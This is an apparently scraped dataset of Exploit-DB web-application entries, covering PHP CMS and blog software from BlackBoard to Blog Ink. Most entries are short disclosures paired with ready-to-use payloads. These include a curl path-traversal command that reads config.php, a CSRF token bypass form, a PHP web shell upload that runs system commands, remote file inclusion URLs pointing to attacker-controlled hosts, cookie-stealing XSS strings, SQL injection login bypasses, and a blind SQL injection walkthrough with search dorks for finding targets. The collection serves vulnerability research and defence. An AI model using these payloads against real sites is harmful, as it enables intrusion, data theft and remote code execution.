deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24657
Description: BlackBoard Internet NewsBoard System 1.5.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-10-06
Author: Lin Xiaofeng

Exploit:
source: https://www.securityfocus.com/bid/11336/info

BlackBoard Internet Newsboard System is reported prone to a remote file include vulnerability. This issue presents itself because the application fails to sanitize user-supplied data properly. This issue may allow an attacker to include malicious files containing arbitrary script code to be executed on a vulnerable computer.

BlackBoard Internet Newsboard System version 1.5.1 is reported prone to this vulnerability. It is possible that prior versions are affected as well.

http://www.example.com/bb_lib/checkdb.inc.php?libpach=http://www.example.com/
Exploit-DB #37304
Description: BlackCat CMS 1.1.1 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-06-17
Author: d4rkr0id

Exploit:
# Exploit Title: BlackCat CMS v1.1.1 Arbitrary File Download Vulnerability 
# Date: 2015/06/16
# Vendor Homepage: http://blackcat-cms.org/
# Software Link: http://blackcat-cms.org/temp/packetyzer/blackcatcms_2fo3PXdKj1.zip
# Version: v1.1.1
# Tested on: Centos 6.5,PHP 5.4.41
# Category: webapps

* Description

file:/modules/blackcat/widgets/logs.php

 72 // download
 73 if(CAT_Helper_Validate::sanitizeGet('dl'))
 74 {
 75     $file = CAT_Helper_Directory::sanitizePath(CAT_PATH.'/temp/'.CAT_Helper_Validate::sanitizeGet('dl'));  <-- Not Taint Checking
 76     if(file_exists($file))
 77     {
 78         $zip = CAT_Helper_Zip::getInstance(pathinfo($file,PATHINFO_DIRNAME).'/'.pathinfo($file,PATHINFO_FILENAME).'.zip');
 79         $zip->config('removePath',pathinfo($file,PATHINFO_DIRNAME))
 80             ->create(array($file));
 81         if(!$zip->errorCode() == 0)
 82         {
 83             echo CAT_Helper_Validate::getInstance()->lang()->translate("Unable to pack the file")
 84                 . ": ".str_ireplace( array( str_replace('\\','/',CAT_PATH),'\\'), array('/abs/path/to','/'), $file );
 85         }
 86         else
 87         {
 88             $filename = pathinfo($file,PATHINFO_DIRNAME).'/'.pathinfo($file,PATHINFO_FILENAME).'.zip';
 89             header("Pragma: public"); // required
 90             header("Expires: 0");
 91             header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
 92             header("Cache-Control: private",false); // required for certain browsers
 93             header("Content-Type: application/zip");
 94             header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
 95             header("Content-Transfer-Encoding: binary");
 96             header("Content-Length: ".filesize($filename));
 97             readfile("$filename");
 98             exit;
 99         }
100     }


POC:
curl -sH 'Accept-encoding: gzip' "http://10.1.1.1/blackcat/modules/blackcat/widgets/logs.php?dl=../config.php" |gunzip -
Exploit-DB #49565
Description: BlackCat CMS 1.3.6 - 'Display name' Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-02-16
Author: Kamaljeet Kumar

Exploit:
# Exploit Title: BlackCat CMS 1.3.6 - 'Display name' Cross Site Scripting (XSS)
# Date: 16-02-2021
# Exploit Author: Kamaljeet Kumar - TATA Advanced Systems Limited
# Vendor Homepage: https://blackcat-cms.org/
# Software Link: https://blackcat-cms.org/page/download.php
# Version: BlackCat CMS - 1.3.6
# Tested on: Windows

# Steps to Reproduce:

1. To exploit this vulnerability an attacker has a login in the admin panel and clicks on the admin profile button. Then use " onmouseover=alert(1) " this XSS payload on Display name field and click on the Save button.

2 .Then refresh the page and hover the mouse on Display name filed and our XSS message pop up.
Exploit-DB #49779
Description: BlackCat CMS 1.3.6 - 'Multiple' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-04-21
Author: Ömer Hasan Durmuş

Exploit:
# Exploit Title: BlackCat CMS 1.3.6 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 04/07/2021
# Exploit Author: Ömer Hasan Durmuş
# Vendor Homepage: https://blackcat-cms.org/
# Software Link: https://blackcat-cms.org/page/download.php
# Version: BlackCat CMS - 1.3.6

Step 1 : Login to admin account in http://TARGET/backend/start/index.php
Step 2 : Then click on the "Addons"
Step 3 : Click on "Create new"
Step 4 : Input "<script>alert(1)</script>" in the field "Module / language name"
Step 5 : Update or visit new page.

Step 1 : Login to admin account in http://TARGET/backend/start/index.php
Step 2 : Then click on the "Access"
Step 3 : Click on "Manage groups"
Step 4 : Input "<script>alert(1)</script>" in the field "Group name" and click "Add group"
Step 5 : Update or visit new page.
Exploit-DB #48820
Description: BlackCat CMS 1.3.6 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2020-09-21
Author: Noth

Exploit:
# Exploit Title: BlackCat CMS 1.3.6 - Cross-Site Request Forgery
# Date: 2020-06-01
# Exploit Author: Noth
# Vendor Homepage: https://github.com/BlackCatDevelopment/BlackCatCMS
# Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
# Version: v1.3.6
# CVE : CVE-2020-25453

BlackCat CMS v1.3.6 has a CSRF vulnerability (bypass csrf_token) that
allows remote arbitrary code execution .

PoC (Remove the csrf_token value) :

<input type=“hidden” name=“&#95;&#95;csrf&#95;magic” value=“”/>
-------------------------------------------------------------------------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState(",",'/')</script>
<form action=“
http://127.0.0.1/blackcatcms-release-1.3/backend/login/ajax_index.php
”method=“POST”>
<input type=“hidden” name=“&#95;&#95;csrf&#95;magic” value=“”/>
<input type=“hidden” name=“username&#95;fieldname”
value=“username&#95;274807982ed4”/>
<input type=“hidden” name=“password&#95;fieldname”
value=“password&#95;75868428f837”/>
<input type=“hidden” name=“&#95;cat&#95;ajax” value=“1”/>
<input type=“hidden” name=“username&#95;274807982ed4” value=“accountname”/>
<input type=“hidden” name=“password&#95;75868428f837” value=“yourpassword”/>
<input type=“submit” value=“Submit request”/>
</form>
</body>
</html>
Exploit-DB #51605
Description: Blackcat Cms v1.4 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-07-19
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Blackcat Cms v1.4 - Remote Code Execution (RCE)
Application: blackcat Cms
Version: v1.4
Bugs:  RCE
Technology: PHP
Vendor URL: https://blackcat-cms.org/
Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
Date of found: 13.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 
1. login to account as admin
2. go to admin-tools => jquery plugin (http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr)
3. upload zip file but this zip file must contains poc.php 
poc.php file contents 
<?php $a=$_GET['code']; echo system($a);?>
4.Go to http://localhost/BlackCatCMS-1.4/upload/modules/lib_jquery/plugins/poc/poc.php?code=cat%20/etc/passwd

Poc request

POST /BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr HTTP/1.1
Host: localhost
Content-Length: 577
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBRByJwW3CUSHOcBT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cat7288sessionid=7uv7f4kj7hm9q6jnd6m9luq0ti
Connection: close

------WebKitFormBoundaryBRByJwW3CUSHOcBT
Content-Disposition: form-data; name="upload"

1
------WebKitFormBoundaryBRByJwW3CUSHOcBT
Content-Disposition: form-data; name="userfile"; filename="poc.zip"
Content-Type: application/zip

PKvalsdalsfapoc.php<?php 
$a=$_GET['code']; 
echo system($a);
?>
blabalaboalpoc.php
blablabla
------WebKitFormBoundaryBRByJwW3CUSHOcBT
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundaryBRByJwW3CUSHOcBT--
Exploit-DB #51604
Description: Blackcat Cms v1.4 - Stored XSS
Type: webapps
Platform: php
Date: 2023-07-19
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Blackcat Cms v1.4 - Stored XSS
Application: blackcat Cms
Version: v1.4
Bugs:  Stored XSS
Technology: PHP
Vendor URL: https://blackcat-cms.org/
Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
Date of found: 13.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 

1. login to account
2. go to pages (http://localhost/BlackCatCMS-1.4/upload/backend/pages/modify.php?page_id=1)
3. set as <img src=x onerror=alert(4)>
4. Visit http://localhost/BlackCatCMS-1.4/upload/page/welcome.php?preview=1
Exploit-DB #38311
Description: BlackNova Traders - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2013-02-12
Author: ITTIHACK

Exploit:
source: https://www.securityfocus.com/bid/57910/info

BlackNova Traders is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/bnt/news.php?startdate=2013/02/11[SQLi]
Exploit-DB #34209
Description: BlaherTech Placeto CMS - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-28
Author: S.W.T

Exploit:
source: https://www.securityfocus.com/bid/41190/info

BlaherTech Placeto CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example data is available:

Username: or\'1\'=\'1\'
Password: S.W.T
Exploit-DB #21426
Description: Blahz-DNS 0.2 - Direct Script Call Authentication Bypass
Type: webapps
Platform: php
Date: 2002-04-28
Author: ppp-design

Exploit:
source: https://www.securityfocus.com/bid/4618/info

Blahz-DNS is a web based management tool for DNS information. It is implemented in PHP, and available for Linux systems.

By directly calling scripts included with Blahz-DNS, it is possible to bypass the authentication check, gaining full access to the Blahz-DNS tool.

http://www.example.com/dostuff.php?action=modify_user
Exploit-DB #4793
Description: Blakord Portal Beta 1.3.A (All Modules) - SQL Injection
Type: webapps
Platform: php
Date: 2007-12-26
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+            Blakord Portal <= Beta 1.3.A (all modules) Blind Sql Injection          +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Blakord Portal
[~] HomePage: http://www.cdv3k.com
[~] Exploit: Blind Sql Injection [High]
[~] Where: All Modules
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com
[~] Dork: "Power by Blakord Portal"
[~] Dork2: "Powered by Blakord Portal"
[~] Dork3: "Blakord Portal"

[+] Compression:

[~] True: http://localhost/[path]/[any module]?id=1 and 1=1
[~] False: http://localhost/[path]/[any module]?id=1 and 1=2

[+] Exploding:

[*] Checking table: 

[~] Exploit: http://localhost/[path]/[any module]?id=1 AND (SELECT Count(*) FROM [TABLE]) >= 0
[~] Exploit2: http://localhost/[path]/[any module]?id=1 and exists (select * from [TABLE])
[~] Example: http://localhost/[path]/[any module]?id=1 AND (SELECT Count(*) FROM users) >= 0
[~] Example2: http://localhost/[path]/[any module]?id=1 and exists (select * from users)
[~] If you don't see any error, it is tha table exist.

[*] Checking columns number of table:

[~] Exploit: http://localhost/[path]/[any module]?id=1 AND (SELECT Count(*) FROM [TABLE]) = [NUMBER]
[~] Example: http://localhost/[path]/[any module]?id=1 AND (SELECT Count(*) FROM users) = 6
[~] If you don't see any error, the table has 6 columns.

[*] Checking columns of table:

[~] Exploit: http://localhost/[path]/[any module]?id=1 AND (SELECT Count([COLUMN]) FROM [TABLE]) >= 0
[~] Example: http://localhost/[path]/[any module]?id=1 AND (SELECT Count(U_PASSWORD) FROM users) >= 0
[~] If you don't see any error, the column exists.

[*] Admin Password; Noob or Lammer?:

[~] Exploit: Priv8
[~] Example: Priv8
[~] Priv8 , xD.

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2007-12-26]
Exploit-DB #27551
Description: Blank'N'Berg 0.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-31
Author: Amine ABOUD

Exploit:
source: https://www.securityfocus.com/bid/17346/info

Blank'N'Berg is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Blank'N'Berg 0.2 is reportedly vulnerable.

http://www.example.com/index.php?_path="><script>alert(document.cookie)</script>
Exploit-DB #27550
Description: Blank'N'Berg 0.2 - Directory Traversal
Type: webapps
Platform: php
Date: 2006-03-31
Author: Amine ABOUD

Exploit:
source: https://www.securityfocus.com/bid/17345/info

Blank'N'Berg is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks. 

Blank'N'Berg 0.2 is reportedly vulnerable.

http://www.example.com/index.php?_path=../../.. /../../
Exploit-DB #34531
Description: BlastChat Client 3.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-25
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/42734/info

BlastChat Client is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to BlastChat Client 3.4 are vulnerable. 

http://www.example.com/index.php?option=com_blastchatc&Itemid=" onload="alert(/XSS/)"
Exploit-DB #33684
Description: Blax Blog 0.1 - 'girisyap.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-01
Author: cr4wl3r

Exploit:
source: https://www.securityfocus.com/bid/38465/info

Blax Blog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Blax Blog 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/girisyap.php

Username: ' or '1=1
password: ' or '1=1
Exploit-DB #22901
Description: BlazeBoard 1.0 - Information Disclosure
Type: webapps
Platform: php
Date: 2003-07-14
Author: JackDaniels

Exploit:
source: https://www.securityfocus.com/bid/8188/info

It has been alleged that BlazeBoard fails to adequately protect the contents of a directory in a default install. It is therefore possible for remote users to request files from this directory. This could expose sensitive information stored in these directories to remote attackers.

http://www.example.com/board/docs/
Exploit-DB #1846
Description: Blend Portal 1.2.0 - 'phpBB Mod' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-28
Author: nukedx

Exploit:
Blend Portal <= 1.2.0 for phpBB 2.x Remote File Inclusion Vulnerabilities
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploits works on Blend Portal <= 1.2.0 for phpBB 2.x
Original advisory can be found at: http://www.nukedx.com/?viewdoc=41
Succesful exploitation needs register_globals on & allow url_fopen on
GET -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE]
EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt?
# nukedx.com [2006-05-28]

# milw0rm.com [2006-05-28]
Exploit-DB #9348
Description: Blink Blog System - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-03
Author: Salvatore Fresta

Exploit:
********   Salvatore "drosophila" Fresta   ********

[+] Application: Blink Blog System
[+] Version: Unknown
[+] Website: http://blogink.sourceforge.net

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 03 Aug 2009

[+] Discovered by: Salvatore Fresta aka drosophila
[+] Author: Salvatore Fresta aka drosophila
[+] E-mail: drosophilaxxx [at] gmail.com


***************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


***************************************************

[+] Bugs

There are many SQL Injection flaws but I post the
only one that allows a guest to bypass the login.

- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: login.php, db.php

This bug allows a guest to bypass the login.

login.php:

	...
	
	$username = $_POST["nick"];
    $password = md5($_POST["password"]);
    if ($data = $DB->usercheck($username, $password))
    
    ...
    
db.php:

	function usercheck($username, $password)
    {
        $try = mysql_query("SELECT * FROM users WHERE nick=\"".$username."\" AND password=\"".$password."\" ");
        
    ...


***************************************************

[+] Code


- [A] Authentication Bypass

username: root"#
password: foo


***************************************************

[+] Fix

No fix.


***************************************************

# milw0rm.com [2009-08-03]
Exploit-DB #22641
Description: BLNews 2.1.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-05-24
Author: Over_G

Exploit:
source: https://www.securityfocus.com/bid/7677/info

It has been reported that BLNews is prone to a remote file include vulnerability. This is due to the incorrection initilization of some PHP headers within the application. As a result, an attacker may be capable of executing arbitrary PHP commands within the context of the web server.

This vulnerability is said to affect BLNews version 2.1.3-beta, however other versions may also be affected. 

http://www.example.org/admin/objects.inc.php4?Server=http://www.attacker.org
Exploit-DB #27770
Description: Blog 0.2.3/0.2.4 Mod - 'Weblog_posting.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-29
Author: Qex

Exploit:
source: https://www.securityfocus.com/bid/17744/info

Blog Mod is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/weblog_posting.php?mode=quote&r=[SQL]&w=1
Exploit-DB #7537
Description: BLOG 1.55B - 'image_upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-21
Author: Piker

Exploit:
################## Piker #######################################
#
#
#    BLOG v1.55B Arbitrary File Upload Vulnerability
#

#
#    Affected software: BLOG v1.55B prior versions can be affected

#    Vendor: http://sourceforge.net/projects/kafooeyblog/
#    Risk: High
#
################################################################

#

#    http://[target]/[path]/lib/image_upload.php
#
#   This script only checks if the file you are uploading
#   is not a text/plain file so you can upload whatever
#   you want, for example a PHP Shell.
#

#   
################################################################
#
#         Found by Piker [piker0x90(at)gmail(dot)com]
#
#            D.O.M Labs - Security Researchers
#                   www.domlabs.org

#
#
################################################################

# milw0rm.com [2008-12-21]
Exploit-DB #34646
Description: Blog Ink (Blink) - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-08-03
Author: Drosophila

Exploit:
source: https://www.securityfocus.com/bid/43284/info

Blog Ink (Blink) is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example data is available:

username: root"#
password: foo